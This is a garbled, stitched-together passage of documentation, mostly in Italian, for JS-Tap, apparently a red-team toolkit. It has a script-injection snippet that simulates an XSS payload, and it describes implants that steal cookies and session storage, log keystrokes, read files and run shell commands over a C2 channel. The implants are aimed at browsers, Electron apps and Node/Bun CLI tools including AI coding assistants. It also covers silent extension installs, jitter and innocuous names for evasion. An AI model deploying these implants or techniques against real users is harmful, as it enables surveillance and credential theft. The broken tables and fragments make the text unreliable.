Premendo il pulsante "Inject JS-Tap payload" verrà eseguito il payload DOM Beacon. Questo funziona sia per la modalità implant che trap. Potrebbe essere necessario puntare l'applicazione monkeyPatchLab verso una nuova posizione del server JS-Tap per caricare il file del payload; puoi trovare questa impostazione nella funzione **injectPayload()** in **main.js**```
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Un'altra semplice app simile a MonkeyPatchApp, tuttavia le chiamate API XHR in questa applicazione apportano un cambiamento visibile nell'applicazione (modificando il livello "defcon").
Dispone anche di un pulsante Inject JS-Tap payload che simula un exploit XSS. Tutto il codice è incluso nel file defconServer.py, compresi JavaScript e HTML.
Questa applicazione è un buon test per generare automaticamente payload a partire da chiamate di rete XHR intercettate.```bash python3 tools/defconApp/defconServer.py
### SpaTestApp
Un'app di test a pagina singola (SPA) che utilizza chiamate Fetch API per operazioni CRUD. Utile per testare il monkeypatching di SPA basate su Fetch e la generazione automatica di payload mimic da chiamate API intercettate.```bash
python3 tools/spaTestApp/spaServer.py
Strumento legacy per l'analisi di moduli HTML e l'estrazione dei loro parametri. È stato sostituito dalla funzionalità mimic che genera automaticamente payload personalizzati.
Strumento legacy, utilizzato prima dell'interfaccia web per JS-Tap. Lo script generateIntelReport analizzava il bottino raccolto e generava un report PDF. Non più funzionante — la maggior parte del bottino è ora memorizzata nel database, ad eccezione del codice HTML esfiltrato e degli screenshot.
@hoodoer
[email protected]
| Tipo di Beacon | Cos'è | Come Arriva |
|---|
| DOM Beacon (telemlib.js) | Un payload JavaScript iniettato in una pagina web. Strumenta il DOM, cattura l'attività dell'utente, screenshot, chiamate di rete. | Vulnerabilità XSS, o aggiunto direttamente ai file JavaScript dell'app target (post-sfruttamento). |
| BEX Beacon | Un'estensione browser (Chrome MV3 / Firefox MV2). Monitora tutta l'attività di navigazione, cattura cookie (inclusi httpOnly), localStorage, sessionStorage e intestazioni delle richieste. Può iniettare DOM Beacon in domini specifici su comando. | Installato nel browser del target (ingegneria sociale, accesso fisico, push di policy, ecc.). |
| Sidecar | Un binario nativo Go che gira sul sistema operativo del target. Fornisce navigazione del filesystem, lettura di file ed esecuzione di comandi. | Installato insieme al BEX Beacon tramite messaggistica nativa. Richiede il BEX Beacon per relayare i comandi. |
| Atom Beacon | Un impianto a doppio strato per applicazioni desktop Electron. Inietta un agente nel processo principale (runtime Node.js) + payload renderer in tutte le finestre dell'app. Combina la raccolta dati a livello browser con l'accesso OS a livello host — nessun binario separato necessario. Supporta la modalità proxy del browser. | Patchato nell'archivio ASAR dell'app Electron target (o nella directory dell'app non pacchettizzata) usando atomize.py. |
| V8 Beacon | Un agente JavaScript per applicazioni CLI Node.js e Bun (Gemini CLI, Claude Code, ecc.). Intercetta tutte le chiamate di rete HTTP/Fetch, cattura la digitazione e fornisce accesso al filesystem e alla shell. Zero dipendenze. | Iniettato tramite variabile d'ambiente: NODE_OPTIONS="--require" (Node.js) o BUN_OPTIONS="--preload" (Bun). Nessuna patch all'app necessaria. |
| Un proxy MITM sul server JS-Tap che instrada il traffico HTTP/HTTPS dell'operatore attraverso il browser (o processo Node.js) della vittima tramite WebSocket. Le richieste vengono recuperate dal contesto di rete della vittima, quindi il sito target vede l'IP della vittima e l'impronta TLS. Combinalo con un Session Ticket per una navigazione autenticata attraverso la rete della vittima. Supportato da BEX, Atom e V8 Beacon. Vedi Browser Proxy qui sotto. |
| JS-Tap Conductor | Un'estensione Firefox standalone che importa i dati di sessione catturati dal BEX Beacon (come 'JS-Tap Ticket') e li riproduce localmente — impostando cookie, iniettando intestazioni, popolando lo storage e spoofando lo User-Agent — così l'operatore può navigare come la vittima. Vedi JS-Tap Tickets & JS-Tap Conductor qui sotto. |
V8 Beacon per strumenti CLI: Il V8 Beacon targettizza applicazioni CLI basate su Node.js e Bun. Imposta una variabile d'ambiente (NODE_OPTIONS o BUN_OPTIONS) e il beacon si carica prima del codice dell'app — non è necessaria alcuna patch o modifica dell'app target. Applica monkey-patch a http.request, https.request, fetch e http2.connect per intercettare tutto il traffico di rete, aggancia process.stdin per la cattura della digitazione e fornisce navigazione del filesystem ed esecuzione di shell tramite il canale C2. Gli strumenti CLI che generano processi figli (es. Gemini CLI genera se stesso come figlio per la sessione interattiva) vengono gestiti automaticamente — il figlio eredita le chiavi di sessione del genitore e condivide lo stesso client logico nel portale. Il filtraggio cross-runtime dei sottoprocessi impedisce che i sottoprocessi utility Node.js delle app Bun si registrino come client separati.
Plugin per attacchi specifici dell'app: I client Atom Beacon e V8 Beacon supportano plugin caricabili a runtime. I plugin sono moduli JavaScript caricati dal portale JS-Tap che estendono le capacità del beacon per applicazioni target specifiche (es. il plugin Mattermost). I plugin hanno accesso alle API Node.js del beacon (fs, http, crypto, child_process), alle API Electron (per Atom Beacon) e a un canale di esfiltrazione dati verso il server. Ogni plugin include un manifest (manifest.json) che dichiara le app target, le capacità e le impostazioni configurabili dall'operatore, più un pannello UI opzionale (ui.html) visualizzato nel portale.
| Browser | Metodo di installazione | Requisiti |
|---|
| Chrome/Chromium (Linux, con .crx + ID statico) | Scrive una policy aziendale che forza l'installazione dell'estensione da un CRX locale. Nessuna interazione richiesta: l'estensione viene installata silenziosamente al prossimo avvio. | sudo |
| Chrome/Chromium (macOS, con .crx + ID statico) | Copia il .crx in una directory di sistema e scrive un JSON di estensione esterna. L'utente deve cliccare "Keep" quando Chrome avvisa riguardo all'estensione. | sudo |
| Chrome/Chromium (senza .crx) | Copia l'estensione decompressa in una directory stabile. Stampa le istruzioni per la modalità sviluppatore di chrome://extensions. | Nessuno |
| Chrome (Windows, con .crx + ID statico) | Copia il .crx e scrive una voce di registro per l'installazione dell'estensione esterna. | Nessuno (registro a livello utente) |
| Firefox (con .xpi + ID estensione) | Rileva automaticamente il profilo Firefox predefinito e copia il .xpi nella directory extensions/ del profilo. Firefox chiede all'utente di abilitarlo al prossimo avvio. | Nessuno |
| Firefox (senza .xpi) | Copia l'estensione decompressa in una directory stabile. Stampa le istruzioni per about:debugging. | Nessuno |
| Comando | Argomenti | Descrizione |
|---|
list_dir | { path: "/some/path" } | Elenca il contenuto di una directory. Se il percorso è vuoto, viene utilizzata la home dell'utente. Restituisce nomi, dimensioni, tipi e date di modifica dei file. |
read_file | { path: "/some/file", offset: 0, limit: 1048576 } | Legge il contenuto di un file (codificato in base64). Massimo 1 MB per lettura. Supporta offset/limit per file di grandi dimensioni. |
exec_cmd | { command: "whoami", timeout: 30 } | Esegue un comando shell. Usa /bin/sh -c su Linux/macOS, cmd.exe /C su Windows. Timeout massimo di 120 secondi. Restituisce stdout, stderr e codice di uscita. |
--output PATH | Percorso del file di output (predefinito: ./v8-beacon.js) |
/v1/messages| Field | Description |
|---|
name | Display name of the extension |
version | Extension version (also used in .crx external extension JSON). Auto-incremented by buildAll.py on each build. |
description | Extension description shown in browser |
install_dirname | Directory name used by install scripts for storing files on the target system (e.g. /opt/<dirname>/ on Linux, %LOCALAPPDATA%\<dirname> on Windows). Also used for the enterprise policy filename. Choose something innocuous. Default: jstap |
| Field | Description |
|---|
chrome_key | Base64-encoded DER public key. Injected as key in Chrome manifest for a deterministic extension ID. |
chrome_key_pem | Path to the private key .pem file (relative to project root). Used by the build script to pack .crx files. |
chrome_extension_id | The 32-character Chrome extension ID. Auto-computed from chrome_key if left empty. Used in sidecar native messaging manifests. |
firefox_extension_id | Firefox extension ID (e.g. bex-beacon@jstap). Injected into the Firefox manifest as browser_specific_settings.gecko.id. |
base_interval | Base interval in seconds between heartbeats. Default: 60 for production, 5 for development/testing. |
jitter_percent | Percentage of jitter applied to the base interval. A value of 30 means each heartbeat will fire at a random time between 70% and 130% of the base interval. Set to 0 for no jitter (useful for debugging). |
falsetruewhitelist | Array of URL match patterns. Standard browser extension match patterns with * wildcards. Only used when whitelist_enabled is true. |